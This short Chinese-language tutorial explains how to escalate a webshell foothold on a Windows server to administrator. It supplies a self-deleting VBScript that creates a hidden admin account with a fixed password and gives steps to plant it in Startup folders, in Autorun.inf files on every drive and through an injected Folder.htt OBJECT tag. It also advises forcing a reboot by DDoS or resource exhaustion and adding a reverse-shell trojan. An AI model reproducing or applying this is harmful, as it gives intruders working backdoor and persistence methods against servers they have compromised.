vbs脚本加启动项提升webshell的管理权限

1.先用TXT文件写个shell.vbs，添加一个管理员，代码如下:

on error resume next
set shell=createobject("wscript.shell")
shell.run"cmd.exe /c net user ray$ /del",false,false
shell.run"cmd.exe /c net user ray$ 1984 /add",false,false
shell.run"cmd.exe /c net localgroup administrators ray$ /add",false,false
set fso=CreateObject("Scripting.FileSystemObject")
if fso.FileExists("C:/Documents and Settings/Administrator/「开始」菜单/程序/启动/shell.vbs") then
fso.DeleteFile "C:/Documents and Settings/Administrator/「开始」菜单/程序/启动/shell.vbs",True
end if

2.在webshell里直接转跳到“C:/Documents and Settings/Administrator/「开始」菜单/程序/启动”或者“C:/Documents and Settings/All Users/「开始」菜单/程序/启动”目录，上传shell.vbs,想办法让服务器重新启动，DDOS，REBOOT，写个什么BAT耗他的资源都行.

3.给服务器的各个盘下都上传个shell.vbs和Autorun.inf

Autorun.inf文件格式如下，写个TXT改下后缀名就可以了.

[autorun]
open=shell.vbs

只要光盘自动运行没关，打开了盘，VBS就会生效.

4.在有写权限的文件夹里的Folder.htt文件里加一句"<OBJECT ID="RUNIT" WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="shell.vbs">"，同时也放个shell.vbs.

5.补充:你也可以在VBS里加上自动运行一个反弹木马之类，如果服务器上有什么杀毒禁止了VBS，就没效果了.